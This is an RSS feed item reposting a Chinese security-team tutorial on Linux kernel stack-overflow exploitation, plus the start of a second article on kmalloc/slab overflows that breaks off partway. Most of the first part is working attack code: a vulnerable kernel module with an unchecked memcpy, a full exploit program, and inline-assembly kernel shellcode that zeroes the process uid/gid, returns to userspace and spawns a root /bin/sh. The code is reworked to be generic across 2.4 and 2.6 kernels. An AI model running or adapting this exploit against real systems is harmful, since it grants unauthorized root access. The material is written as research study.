<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>大智若鲁&#039;s Blog &#187; 溢出</title>
	<atom:link href="http://www.lzpnb.com/archives/tag/%e6%ba%a2%e5%87%ba/feed" rel="self" type="application/rss+xml" />
	<link>http://www.lzpnb.com</link>
	<description>----我留在网上的一点痕迹.</description>
	<lastBuildDate>Tue, 27 Dec 2011 12:38:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>linux内核溢出研究系列</title>
		<link>http://www.lzpnb.com/archives/131</link>
		<comments>http://www.lzpnb.com/archives/131#comments</comments>
		<pubDate>Wed, 13 May 2009 08:32:10 +0000</pubDate>
		<dc:creator>大智若鲁</dc:creator>
				<category><![CDATA[黑客那点事]]></category>
		<category><![CDATA[溢出]]></category>

		<guid isPermaLink="false">http://www.lzpnb.cn/?p=131</guid>
		<description><![CDATA[文章作者：李小军(a1rsupp1y) 信息来源：邪恶八进制信息安全团队 1. 通用shellcode篇 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; 目录： 一、简介 二、简单的例子 1)例子代码 2)利用代码 三、shellcode扩展 1)模式 2)通用思路 3)通用实现 四、参考资源 五、附录 六、感谢 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 一、简介 linux内核溢出凸显严重，利用代码的编写和普通溢出相比，难度大了很多。 几乎每一个经典的内核漏洞都有一个非常经典的利用代码值得大家深入学习。 目前可以借鉴的学习文档基本上都是英文的，于是决定对linux内核溢出利用代 码的编写进行全盘的学习。这份文档就是一个学习的过程，记录下来，希望能 和大家共同进步。 二、简单的例子 首先，研究的目标是2.6的内核版本，然后再扩展到2.4内核。我们先从一个简单 的例子代码出发，进行利用代码的编写。我们的测试平台是缺省内核的redhat as4 (2.6.9)和gentoo(2.6.15). 1)例子代码 我们的例子代码先挂载(hook)了一个系统调用，其功能就是把用户空间的数据拷贝 到内核空间，因为没有进行长度检查，导致了一个内核栈溢出。 因为2.6内核下面，没有引出sys_call_table，我们用了一个查找函数(find_systable)来找到 sys_call_table的地址。 例子代码如下： #include #include #include #include #include #define CALL_NR 35 static const void *lower_bound = &#038;kernel_thread; int *sys_call_table =0xc04eb6c0; int (*old_call)(int, int); [...]]]></description>
			<content:encoded><![CDATA[<p>文章作者：李小军(a1rsupp1y)<br />
信息来源：邪恶八进制信息安全团队</p>
<p>1. 通用shellcode篇<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
目录：<br />
一、简介<br />
<span id="more-131"></span><br />
二、简单的例子<br />
1)例子代码<br />
2)利用代码 </p>
<p>三、shellcode扩展<br />
1)模式<br />
2)通用思路<br />
3)通用实现<br />
四、参考资源<br />
五、附录<br />
六、感谢<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; </p>
<p>一、简介<br />
linux内核溢出凸显严重，利用代码的编写和普通溢出相比，难度大了很多。<br />
几乎每一个经典的内核漏洞都有一个非常经典的利用代码值得大家深入学习。<br />
目前可以借鉴的学习文档基本上都是英文的，于是决定对linux内核溢出利用代<br />
码的编写进行全盘的学习。这份文档就是一个学习的过程，记录下来，希望能<br />
和大家共同进步。 </p>
<p>二、简单的例子<br />
首先，研究的目标是2.6的内核版本，然后再扩展到2.4内核。我们先从一个简单<br />
的例子代码出发，进行利用代码的编写。我们的测试平台是缺省内核的redhat as4<br />
(2.6.9)和gentoo(2.6.15).<br />
1)例子代码<br />
我们的例子代码先挂载(hook)了一个系统调用，其功能就是把用户空间的数据拷贝<br />
到内核空间，因为没有进行长度检查，导致了一个内核栈溢出。<br />
因为2.6内核下面，没有引出sys_call_table，我们用了一个查找函数(find_systable)来找到<br />
sys_call_table的地址。<br />
例子代码如下：<br />
<coolcode lang="cpp"><br />
#include
<linux/kernel.h>
#include
<linux/module.h>
#include <asm/unistd.h><br />
#include <asm/uaccess.h><br />
#include
<linux/slab.h>
#define CALL_NR 35 </p>
<p>static const void *lower_bound = &#038;kernel_thread;<br />
int *sys_call_table =0xc04eb6c0;<br />
int (*old_call)(int, int); </p>
<p>static inline int looks_good(void **p)<br />
{<br />
if (*p <= (void*)lower_bound || *p >= (void*)p)<br />
return 0;<br />
return 1;<br />
}<br />
/*<br />
* find sys_call_table<br />
*/<br />
int find_systable(void)<br />
{<br />
void **ptr = (void **)&#038;init_mm;<br />
void **limit; </p>
<p>sys_call_table = NULL; </p>
<p>for (limit = ptr + 16 * 1024;<br />
ptr < limit &#038;&#038; sys_call_table == NULL; ptr++)<br />
{<br />
int ok = 1;<br />
int i; </p>
<p>for (i = 0; i < 250; i++)<br />
if (!looks_good(ptr + i)) {<br />
ok = 0;<br />
ptr = ptr + i;<br />
break;<br />
} </p>
<p>if (ok) {<br />
if (ptr[__NR_break] != ptr[__NR_ftime])<br />
continue;<br />
sys_call_table = ptr;<br />
break;<br />
}<br />
} </p>
<p>if (sys_call_table == NULL) {<br />
printk("Failed to find address of sys_call_table\n");<br />
return -EIO;<br />
} </p>
<p>printk("Found sys_call_table at 0x%.8x\n", sys_call_table);<br />
return 0;<br />
} </p>
<p>asmlinkage int test(unsigned int len,char * code) {<br />
char buf[256];<br />
//strcpy(buf,code);<br />
memcpy(buf,code,len); </p>
<p>}<br />
asmlinkage int new_call(unsigned int len, char * buf) {<br />
printk("%p\n",current_thread_info());<br />
printk("off:%d\n",(int)(current)-(int)(&#038;current->uid));<br />
char * code = kmalloc(len, GFP_KERNEL); </p>
<p>if (code ==NULL) goto out; </p>
<p>if (copy_from_user(code, buf, len))<br />
goto out; </p>
<p>test(len,code);<br />
out:<br />
return 0;<br />
} </p>
<p>int init_module(void)<br />
{<br />
int i=find_systable();<br />
printk(”</p>
<p>vuln loaded!\n”);<br />
old_call = sys_call_table[CALL_NR];<br />
sys_call_table[CALL_NR] = new_call;<br />
return 0;<br />
}<br />
void cleanup_module(void)<br />
{<br />
sys_call_table[CALL_NR] = old_call;<br />
printk(”<br />
vuln unloaded!\n”);<br />
} </coolcode></p>
<p>2)利用代码<br />
针对上面的栈溢出，利用代码也很简单，就是构造超长的数据，然后调用该系统调用来传递<br />
给内核。<br />
利用代码如下：<br />
<coolcode lang="cpp"><br />
/* exp.c<br />
*/<br />
#include <sys/types.h><br />
#include <sys/stat.h><br />
#include <fcntl.h><br />
#include <sys/mman.h><br />
#include <unistd.h><br />
#include
<linux/unistd.h>
#include
<linux/sysctl.h>
#define __NR_new_call 35<br />
static inline _syscall2(int, new_call, unsigned int ,len,char * ,code);<br />
#define NOP &#8216;A&#8217;<br />
//===================[ kernel 2.6* privilege elevator ]=================<br />
//globals<br />
int uid, gid; </p>
<p>extern load_highlevel;<br />
__asm__<br />
(<br />
“load_highlevel: \n”<br />
“xor %eax, %eax \n”<br />
“mov $0xffffe000, %eax\n”<br />
“and %esp,%eax \n”<br />
“pushl %eax \n”<br />
“call set_root \n”<br />
“pop %eax \n”<br />
//ret to userspace-2.6.* version<br />
” cli \n”<br />
” pushl $0x7b \n” //DS user selector<br />
” pop %ds \n”<br />
” pushl %ds \n” //SS<br />
” pushl $0xc0000000 \n” //ESP<br />
” pushl $0&#215;246 \n” //EFLAGS<br />
” pushl $0&#215;73 \n” //CS user selector<br />
” pushl $sc \n” //EIP must not be a push /bin/sh shellcode!!<br />
“iret \n”<br />
); </p>
<p>void set_root(unsigned int *ts)<br />
{<br />
if((unsigned int*)*ts!=NULL)<br />
ts = (int*)*ts;<br />
int cntr;<br />
//hope you guys are int aligned<br />
for(cntr = 0; cntr <= 512; cntr++, ts++)<br />
if( ts[0] == uid &#038;&#038; ts[1] == uid &#038;&#038; ts[4] == gid &#038;&#038; ts[5] == gid)<br />
{ ts[0] = ts[1] = ts[4] = ts[5] = 0;<br />
// __asm__("int3");<br />
} </p>
<p>} </p>
<p>char *p[]={"/bin/sh"};<br />
void sc(){<br />
// __asm__("int3");<br />
execve("/bin/sh",p,NULL);<br />
exit(0);<br />
}<br />
//==============================================================<br />
//============================================================== </p>
<p>int main(int argc,char **argv)<br />
{<br />
char code[1024];<br />
unsigned int len;<br />
int i;<br />
uid=getuid();<br />
gid=getgid();<br />
memset(code,NOP,1024);<br />
for(i=0;i<5;i++)<br />
memcpy(code,&#038;load_highlevel,128); </p>
<p>len = 256+8+4+4;<br />
sleep(1);<br />
printf("code addr is:%p\n",&#038;load_highlevel);<br />
*(int *)(code+256+8) = (int)&#038;load_highlevel;//eip </p>
<p>new_call(len,code); </p>
<p>} </coolcode></p>
<p>内核栈溢出和普通栈溢出的原理是一样的，就是覆盖内核函数的返回地址，从而改<br />
变运行的流程，在内核栈溢出里面，关键就是shellcode的功能，如何实现提升用户<br />
权限以及如何安全返回到用户空间。所以，我们把shellcode部分提取出来进行分析。<br />
__asm__<br />
(<br />
“load_highlevel: \n”<br />
“mov $0xffffe000, %eax\n”<br />
“and %esp,%eax \n”<br />
“pushl %eax \n”<br />
“call set_root \n”<br />
“pop %eax \n”<br />
//ret to userspace-2.6.* version<br />
” cli \n”<br />
” pushl $0x7b \n” //DS user selector<br />
” pop %ds \n”<br />
” pushl %ds \n” //SS<br />
” pushl $0xc0000000 \n” //ESP<br />
” pushl $0&#215;246 \n” //EFLAGS<br />
” pushl $0&#215;73 \n” //CS user selector<br />
” pushl $sc \n” //EIP must not be a push /bin/sh shellcode!!<br />
“iret \n”<br />
);<br />
上面的shellcode首先进行的是权限的提升，把进程信息里面的uid,euid和gid,egid修改为<br />
root权限。2.6内核下面，进程信息的指针是在内核栈-8192的位置的（2.4内核下是整个<br />
进程信息放置在该位置），所以通过”mov $0xffffe000, %eax\n” “and %esp,%eax \n”<br />
就能找到进程信息指针的值，从内核代码我们也能看出来：<br />
028 struct thread_info {<br />
029 struct task_struct *task; /* main task structure */《－－我们要获得的值<br />
030 struct exec_domain *exec_domain; /* execution domain */<br />
031 unsigned long flags; /* low level flags */<br />
032 unsigned long status; /* thread-synchronous flags */<br />
033 __u32 cpu; /* current CPU */<br />
034 int preempt_count; /* 0 => preemptable, <0 => BUG */<br />
035<br />
036<br />
037 mm_segment_t addr_limit; /* thread address space:<br />
038 0-0xBFFFFFFF for user-thead<br />
039 0-0xFFFFFFFF for kernel-thread<br />
040 */<br />
041 struct restart_block restart_block;<br />
042<br />
043 unsigned long previous_esp; /* ESP of the previous stack in case<br />
044 of nested (IRQ) stacks<br />
045 */<br />
046 __u8 supervisor_stack[0];<br />
047 };<br />
获得进程信息的指针以后，就可以通过搜索里面的uid,euid,gid,egid，并修改为0，从而提升<br />
到root权限。set_root实现的就是搜索修改功能。完成权限提升以后，就要实现安全返回到用户<br />
空间，并获得shell。下面的汇编代码实现此功能：<br />
” cli \n”<br />
” pushl $0x7b \n” //DS user selector<br />
” pop %ds \n”<br />
” pushl %ds \n” //SS<br />
” pushl $0xc0000000 \n” //ESP<br />
” pushl $0&#215;246 \n” //EFLAGS<br />
” pushl $0&#215;73 \n” //CS user selector<br />
” pushl $sc \n” //EIP ，shell函数的地址<br />
“iret \n” </p>
<p>三、shellcode扩展<br />
从前面的shellcode分析我们可以知道此shellcode有多个值是不定值，和系统是相关的，第一个<br />
是内核栈的大小，不同的系统下面，内核栈的大小不一定相同，就会影响到$0xffffe000这个值，<br />
一般系统内核栈大小是8k，就使用$0xffffe000，有些系统下面，内核栈大小是4kb,就是要使用0xfffff000。<br />
第二个不定值是用户DS和用户CS的值，不同的内核版本下面，使用的值不相同。第三个不定值是用户<br />
空间大小，不同的系统下面，内存大小会影响到该值，一般的系统是0xc0000000,但是在高内存(>896MB)<br />
的系统下面，此值就变了。 </p>
<p>1)模式<br />
为了写出通用的shellcode，我们首先要确定我们的shellcode模式。<br />
我们的模式：权限提升－》安全返回－》执行shell 在此模式里面，我们要消除不定值，从而实现通用。 </p>
<p>2)通用思路<br />
模式确定后，我们的目标就明确了，消除所有的不定值。<br />
a)消除内核栈大小差异<br />
为了消除内核栈的差异，我们要想办法在内核空间里面搜索到这个值。经过一番研究后，我们把目标<br />
确定在了system_call的实现里面，首先，我们来看看system_call的汇编代码：<br />
0xc0102e58 <system_call+0>: push %eax<br />
0xc0102e59 <system_call+1>: cld<br />
0xc0102e5a <system_call+2>: push %es<br />
0xc0102e5b <system_call+3>: push %ds<br />
0xc0102e5c <system_call+4>: push %eax<br />
0xc0102e5d <system_call+5>: push %ebp<br />
0xc0102e5e <system_call+6>: push %edi<br />
0xc0102e5f <system_call+7>: push %esi<br />
0xc0102e60 <system_call+8>: push %edx<br />
0xc0102e61 <system_call+9>: push %ecx<br />
0xc0102e62 <system_call+10>: push %ebx<br />
0xc0102e63 <system_call+11>: mov $0x7b,%edx<br />
0xc0102e68 <system_call+16>: movl %edx,%ds<br />
0xc0102e6a <system_call+18>: movl %edx,%es<br />
0xc0102e6c <system_call+20>: mov $0xffffe000,%ebp 《－－我们的目标<br />
0xc0102e71 <system_call+25>: and %esp,%ebp<br />
0xc0102e73 <system_call+27>: testw $0x1c1,0&#215;8(%ebp)<br />
0xc0102e79 <system_call+33>: jne 0xc0102f40 <syscall_trace_entry><br />
0xc0102e7f <system_call+39>: cmp $0&#215;126,%eax<br />
0xc0102e84 <system_call+44>: jae 0xc0102fb4 <syscall_badsys><br />
我们不难发现，system_call的实现里面有我们要的值0xffffe000，而且他的模式非常固定,前面是一个mov xx,%edx，<br />
接下两个movl 是固定的。<br />
0xc0102e63 <system_call+11>: mov $0x7b,%edx<br />
0xc0102e68 <system_call+16>: movl %edx,%ds<br />
0xc0102e6a <system_call+18>: movl %edx,%es<br />
0xc0102e6c <system_call+20>: mov $0xffffe000,%ebp<br />
这样，我们就能通过搜索内核空间来确定第一个值了。<br />
搜索代码如下：<br />
“movl $task_size,%eax \n” //task_size=kernel space start<br />
“mov (%eax),%eax \n”<br />
//find correct stack bottom in kernel space<br />
“l00p: \n”<br />
“add $0&#215;1,%eax \n”<br />
“mov (%eax),%ebx \n”<br />
“and $0xffff00ff,%ebx\n”<br />
“cmp $0x000000ba,%ebx \n”<br />
“jne l00p\n”<br />
“add $0&#215;4,%eax\n”<br />
“movl (%eax),%edx\n”<br />
“cmpl $0x8eda8e00,%edx\n”<br />
“jne l00p\n”<br />
“add $0&#215;6,%eax\n”<br />
“mov (%eax),%ebx\n”<br />
“test $0xffff0000,%ebx\n”<br />
“jz l00p\n”<br />
“test $0x00000fff,%ebx\n”<br />
“jnz l00p\n”<br />
“mov (%eax), %eax\n” //stack bottom 0xffffe000 etc.<br />
“and %esp,%eax \n”<br />
我们可以发现，在此段搜索代码里面，我们又引人了一个新的不定值，$task_size，这个值我们也能通过计算获得<br />
unsigned val;<br />
task_size = ((unsigned)&#038;val + 1 GB ) / (1 GB) * 1 GB;<br />
这样，我们就消除了第一个差异<br />
b)消除用户DS,CS差异<br />
接着，我们要消除用户DS和CS的差异，我们通过在用户空间直接获取ds和cs的值<br />
int myget_ds()<br />
{ </p>
<p>__asm__(“movl %ds,%eax\n”);<br />
}<br />
user_ds=myget_ds(); </p>
<p>然后<br />
” movl $user_ds,%eax \n” //DS user selector<br />
“pushl (%eax)\n”<br />
这样就动态的获取了用户DS的值<br />
c)消除用户空间差异<br />
不断向栈底方向取值，越过栈底的地址访问会导致SIGSEGV 信号，然后利用长跳转回到主流程报告当前值，<br />
自然对应栈底。<br />
3)通用实现<br />
现在，我们已经消除了全部的不定值，完全可以实现一个通用的shellcode了。下面这段shellcode在2.4和2.6内核<br />
下测试通过，完全通用。<br />
<coolcode lang="cpp><br />
//===================[ kernel 2.6* privilege elevator ]===============================<br />
//globals<br />
int uid, gid;<br />
unsigned task_size;<br />
unsigned stack_bottom;<br />
unsigned user_cs,user_ds;<br />
extern load_highlevel;<br />
__asm__<br />
(<br />
“load_highlevel: \n”<br />
“movl $task_size,%eax \n” //task_size=kernel space start<br />
“mov (%eax),%eax \n”<br />
//find correct stack bottom in kernel space<br />
“l00p: \n”<br />
“add $0&#215;1,%eax \n”<br />
“mov (%eax),%ebx \n”<br />
“and $0xffff00ff,%ebx\n”<br />
“cmp $0x000000ba,%ebx \n”<br />
“jne l00p\n”<br />
“add $0&#215;4,%eax\n”<br />
“movl (%eax),%edx\n”<br />
“cmpl $0x8eda8e00,%edx\n”<br />
“jne l00p\n”<br />
“add $0&#215;6,%eax\n”<br />
“mov (%eax),%ebx\n”<br />
“test $0xffff0000,%ebx\n”<br />
“jz l00p\n”<br />
“test $0x00000fff,%ebx\n”<br />
“jnz l00p\n”<br />
“mov (%eax), %eax\n” //stack bottom 0xffffe000 etc.<br />
“and %esp,%eax \n”<br />
“pushl %eax \n”<br />
“call set_root \n”<br />
“pop %eax \n”<br />
//ret to userspace-2.6.* version </p>
<p>” cli \n”<br />
” movl $user_ds,%eax \n” //DS user selector<br />
“pushl (%eax)\n”<br />
” pop %ds \n”<br />
” pushl %ds \n” //SS<br />
” movl $stack_bottom,%eax \n” //ESP<br />
“pushl (%eax) \n”<br />
” pushl $0&#215;246 \n” //EFLAGS<br />
“movl $user_cs,%eax \n” //DS user selector<br />
“pushl (%eax)\n”<br />
” pushl $sc \n” //EIP must not be a push /bin/sh shellcode!!<br />
“iret \n”<br />
);<br />
//</coolcode>======================================================================== </p>
<p>四、参考资源<br />
1)http://www.milw0rm.com/exploits/926<br />
2)http://fanqiang.chinaunix.net/program/c++/2002-10-18/2372.shtml<br />
3)http://www.isec.pl/papers/linux_kernel_do_brk.pdf<br />
4)http://www.xfocus.net/projects/X &#8230; 02_alert7_e4gle.pdf </p>
<p>五、附录<br />
1)exp.c<br />
完整的exp代码<br />
<coolcode lang="cpp"><br />
/* exp.c<br />
*/<br />
#include <sys/types.h><br />
#include <sys/stat.h><br />
#include <fcntl.h><br />
#include <sys/mman.h><br />
#include <unistd.h><br />
#include
<linux/unistd.h>
#include
<linux/sysctl.h>
#include <stdio.h><br />
#include <stdlib.h><br />
#include <signal.h><br />
#include <setjmp.h> </p>
<p>#define kB * 1024<br />
#define MB * 1024 kB<br />
#define GB * 1024 MB </p>
<p>#define __NR_new_call 35<br />
static inline _syscall2(int, new_call, unsigned int ,len,char * ,code);<br />
static char * get_stack_bottom ( void );<br />
#define NOP &#8216;A&#8217; </p>
<p>//===================[ kernel 2.6* privilege elevator ]===============================<br />
//globals<br />
int uid, gid;<br />
unsigned task_size;<br />
unsigned stack_bottom;<br />
unsigned user_cs,user_ds;<br />
extern load_highlevel;<br />
__asm__<br />
(<br />
“load_highlevel: \n”<br />
“movl $task_size,%eax \n” //task_size=kernel space start<br />
“mov (%eax),%eax \n”<br />
//find correct stack bottom in kernel space<br />
“l00p: \n”<br />
“add $0&#215;1,%eax \n”<br />
“mov (%eax),%ebx \n”<br />
“and $0xffff00ff,%ebx\n”<br />
“cmp $0x000000ba,%ebx \n”<br />
“jne l00p\n”<br />
“add $0&#215;4,%eax\n”<br />
“movl (%eax),%edx\n”<br />
“cmpl $0x8eda8e00,%edx\n”<br />
“jne l00p\n”<br />
“add $0&#215;6,%eax\n”<br />
“mov (%eax),%ebx\n”<br />
“test $0xffff0000,%ebx\n”<br />
“jz l00p\n”<br />
“test $0x00000fff,%ebx\n”<br />
“jnz l00p\n”<br />
“mov (%eax), %eax\n” //stack bottom 0xffffe000 etc.<br />
“and %esp,%eax \n”<br />
“pushl %eax \n”<br />
“call set_root \n”<br />
“pop %eax \n”<br />
//ret to userspace-2.6.* version </p>
<p>” cli \n”<br />
” movl $user_ds,%eax \n” //DS user selector<br />
“pushl (%eax)\n”<br />
” pop %ds \n”<br />
” pushl %ds \n” //SS<br />
” movl $stack_bottom,%eax \n” //ESP<br />
“pushl (%eax) \n”<br />
” pushl $0&#215;246 \n” //EFLAGS<br />
“movl $user_cs,%eax \n” //DS user selector<br />
“pushl (%eax)\n”<br />
” pushl $sc \n” //EIP must not be a push /bin/sh shellcode!!<br />
“iret \n”<br />
);<br />
//=================================================================================<br />
void configure(void)<br />
{<br />
unsigned val;<br />
task_size = ((unsigned)&#038;val + 1 GB ) / (1 GB) * 1 GB;<br />
printf(“task_size:%p\n”,task_size);<br />
stack_bottom=(unsigned)get_stack_bottom();<br />
uid=getuid();<br />
gid=getgid();<br />
user_ds=myget_ds();<br />
user_cs=myget_cs();<br />
//printf(“%x%x\n”,user_cs,user_ds); </p>
<p>}<br />
void set_root(unsigned int *ts)<br />
{<br />
if((unsigned int*)*ts!=NULL)<br />
ts = (int*)*ts;<br />
int cntr;<br />
//hope you guys are int aligned<br />
for(cntr = 0; cntr <= 512; cntr++, ts++)<br />
if( ts[0] == uid &#038;&#038; ts[1] == uid &#038;&#038; ts[4] == gid &#038;&#038; ts[5] == gid)<br />
{ ts[0] = ts[1] = ts[4] = ts[5] = 0;<br />
// __asm__("int3");<br />
} </p>
<p>} </p>
<p>char *p[]={"/bin/sh"};<br />
void sc(){<br />
// __asm__("int3");<br />
execve("/bin/sh",p,NULL);<br />
exit(0);<br />
}<br />
//====================================================================================<br />
//==================================================================================== </p>
<p>//**************************************************************************************//<br />
//--------------------------------find stack bottom begin-------------------------------------//<br />
//rip from scz's code<br />
typedef void Sigfunc ( int ); /* for signal handlers */ </p>
<p>Sigfunc * signal ( int signo, Sigfunc * func );<br />
static Sigfunc * Signal ( int signo, Sigfunc * func );<br />
static char * get_stack_bottom ( void );<br />
static void segfault ( int signo ); </p>
<p>static sigjmp_buf jmpbuf;<br />
static volatile sig_atomic_t canjump = 0;<br />
static Sigfunc *seg_handler;<br />
static Sigfunc *bus_handler; /* for xxxBSD */ </p>
<p>Sigfunc * signal ( int signo, Sigfunc * func )<br />
{<br />
struct sigaction act, oact;<br />
act.sa_handler = func;<br />
sigemptyset( &#038;act.sa_mask );<br />
act.sa_flags = 0;<br />
if ( sigaction( signo, &#038;act, &#038;oact ) < 0 )<br />
{<br />
return( SIG_ERR );<br />
} </p>
<p>return( oact.sa_handler );<br />
} /* end of signal */ </p>
<p>static Sigfunc * Signal ( int signo, Sigfunc * func ) /* for our signal() funct<br />
ion */<br />
{<br />
Sigfunc * sigfunc; </p>
<p>if ( ( sigfunc = signal( signo, func ) ) == SIG_ERR )<br />
{<br />
exit( EXIT_FAILURE );<br />
}<br />
return( sigfunc );<br />
} /* end of Signal */ </p>
<p>static char * get_stack_bottom ( void )<br />
{<br />
volatile char *c; /* for autovar, must be volatile */ </p>
<p>seg_handler = Signal( SIGSEGV, segfault );<br />
bus_handler = Signal( SIGBUS, segfault ); </p>
<p>c = ( char * )&#038;c; </p>
<p>if ( sigsetjmp( jmpbuf, 1 ) != 0 ) </p>
<p>{ </p>
<p>Signal( SIGSEGV, seg_handler );<br />
Signal( SIGBUS, bus_handler );<br />
return( ( char * )c ); </p>
<p>} </p>
<p>canjump = 1; /* now sigsetjump() is OK */ </p>
<p>while ( 1 )<br />
{ </p>
<p>*c = *c;<br />
c++; </p>
<p>} </p>
<p>return( NULL );<br />
} /* end of get_stack_bottom */ </p>
<p>static void segfault ( int signo )<br />
{<br />
if ( canjump == 0 )<br />
{<br />
return; /* unexpected signal, ignore */<br />
}<br />
canjump = 0;<br />
siglongjmp( jmpbuf, signo ); /* jump back to main, don't return */<br />
} /* end of segfault */ </p>
<p>//**************************************************************************************//<br />
//**********************************The end*********************************************// </p>
<p>int myget_cs()<br />
{ </p>
<p>__asm__("movl %cs,%eax\n");<br />
}<br />
int myget_ds()<br />
{ </p>
<p>__asm__("movl %ds,%eax\n");<br />
}<br />
int main(int argc,char **argv)<br />
{<br />
char code[1024];<br />
unsigned int len;<br />
int i;<br />
//stack_bottom=0x80000000;<br />
configure();<br />
memset(code,NOP,1024);<br />
len = 256+8+4+4;<br />
printf("code addr is:%p\nset_root is:%p\nsc is:%p\n",&#038;load_highlevel,&#038;set_root,&#038;sc);<br />
*(int *)(code+256+8) = (int)&#038;load_highlevel;//eip<br />
*(int *)(code+256+8+4) = (int)&#038;load_highlevel;//eip </p>
<p>new_call(len,code); </p>
<p>}<br />
</coolcode><br />
六、感谢<br />
感谢陈宇(grip2)和梁彬(lb)的讨论和帮助<br />
邪恶八进制信息安全团队<br />
&#8211;努力为祖国的信息安全撑起一片蓝天! </p>
<p>TOP<br />
root</p>
<p>团队执行官</p>
<p>E.S.T社区执行帐号 社区主管<br />
帖子<br />
30<br />
精华<br />
0<br />
积分<br />
522<br />
阅读权限<br />
200<br />
在线时间<br />
55 小时<br />
注册时间<br />
2005-6-7<br />
最后登录<br />
2009-5-12<br />
发短消息<br />
加为好友<br />
当前离线 	椅子<br />
大<br />
中<br />
小<br />
发表于 2009-5-12 09:04  只看该作者<br />
2. kmalloc溢出技术<br />
作者：grip2  (陈宇)</p>
<p>内容：<br />
1 &#8212; 介绍<br />
2 &#8212; kmalloc/slab简介<br />
3 &#8212; kmalloc/slab的关键特性<br />
4 &#8212; kmalloc exploit<br />
5 &#8212; 更进一步<br />
6 &#8212; 最后<br />
7 &#8212; 参考资料<br />
8 &#8212; 附录 (kexp-msfilter.c) </p>
<p>一、** 介绍 </p>
<p>关注isec很长时间了，一直对他们在Linux内核方面的技术研究成果很佩服，同时自己也一直<br />
在跟踪和分析这方面的技术，但是由于时间及精力所限一直没能更深入一步进行系统的研究和总<br />
结。这一段恰好有些时间，和airsupply一起在内核溢出方面进行了一些研究，也写出了几个<br />
isec公布的漏洞的利用代码。为了能对我们的阶段性的工作有所归纳和总结，我们开始着手去写<br />
《linux内核溢出研究》系列的paper。写这个文档的一个目的也是为了与国内对这方面有兴趣的<br />
朋友共享我们的经验，促进我们在内核安全方面的研究和交流。 </p>
<p>阅读这面文档需要你具有一些Linux内核方面的知识，同时要能读懂一点C和汇编代码。文章里<br />
提到的技术和代码是基于x86架构的Linux kernel-2.4.22的，在其它的系统环境中也许有所不同。 </p>
<p>二、** kmalloc/slab </p>
<p>这部分只是非常简单的介绍一下kmalloc，如果你知道kmalloc和slab是什么，那跳过这部分。<br />
对于kmalloc exploit有用的特性，我们在这里并未描述。 </p>
<p>slab是一种缓冲区分配和管理的方法，Linux内核也采用了这种方法，并进行了改进。Linux内核<br />
使用slab机制进行管理的缓冲区(caches)有两种，一种是专用缓冲区，另一种是通用缓冲区。通用缓<br />
冲区的分配是通过调用kmalloc函数来完成的，在内核里被广泛使用，在这里我们只关注它。 </p>
<p>我们来看kmalloc函数代码：<br />
<coolcode lang="cpp"><br />
void * kmalloc (size_t size, int flags)<br />
{<br />
cache_sizes_t *csizep = cache_sizes; <--- A </p>
<p>for (; csizep->cs_size; csizep++) {<br />
if (size > csizep->cs_size)<br />
continue;<br />
return __kmem_cache_alloc(flags &#038; GFP_DMA ? <--- B<br />
csizep->cs_dmacachep : csizep->cs_cachep, flags);<br />
}<br />
return NULL;<br />
}<br />
</coolcode><br />
A处指向的cache_sizes是一个用来描述通用缓冲池的数据结构，其中根据不同的缓冲区的大小分成<br />
若干队列。它是一个cache_sizes_t类型的数组，数组中的每一个元素描述一个特定尺寸对象的缓冲区，<br />
对于每个尺寸的对象分别对应两个slab队列，一个是用于DMA用途分配，另一个则用于非DMA用途分配。<br />
下面是cache_sizes的定义：<br />
<coolcode lang="cpp"><br />
/* Size description struct for general caches. */<br />
typedef struct cache_sizes {<br />
size_t cs_size;<br />
kmem_cache_t *cs_cachep;<br />
kmem_cache_t *cs_dmacachep;<br />
} cache_sizes_t; </p>
<p>static cache_sizes_t cache_sizes[] = {<br />
#if PAGE_SIZE == 4096<br />
{ 32, NULL, NULL},<br />
#endif<br />
{ 64, NULL, NULL},<br />
{ 128, NULL, NULL},<br />
{ 256, NULL, NULL},<br />
{ 512, NULL, NULL},<br />
{ 1024, NULL, NULL},<br />
{ 2048, NULL, NULL},<br />
{ 4096, NULL, NULL},<br />
{ 8192, NULL, NULL},<br />
{ 16384, NULL, NULL},<br />
{ 32768, NULL, NULL},<br />
{ 65536, NULL, NULL},<br />
{131072, NULL, NULL},<br />
{ 0, NULL, NULL}<br />
};<br />
</coolcode><br />
kmalloc通过一个for循环语句来遍历这个数组中的元素，直到找到一个能够满足调用者指定的size大小的<br />
缓冲区描述，然后在B处根据调用者传入的标志来选择DMA或非DMA slab队列，再调用__kmem_cache_alloc<br />
在该队列中分配一个缓冲区并返回给调用者。 </p>
<p>三、** kmalloc/slab的关键特性 </p>
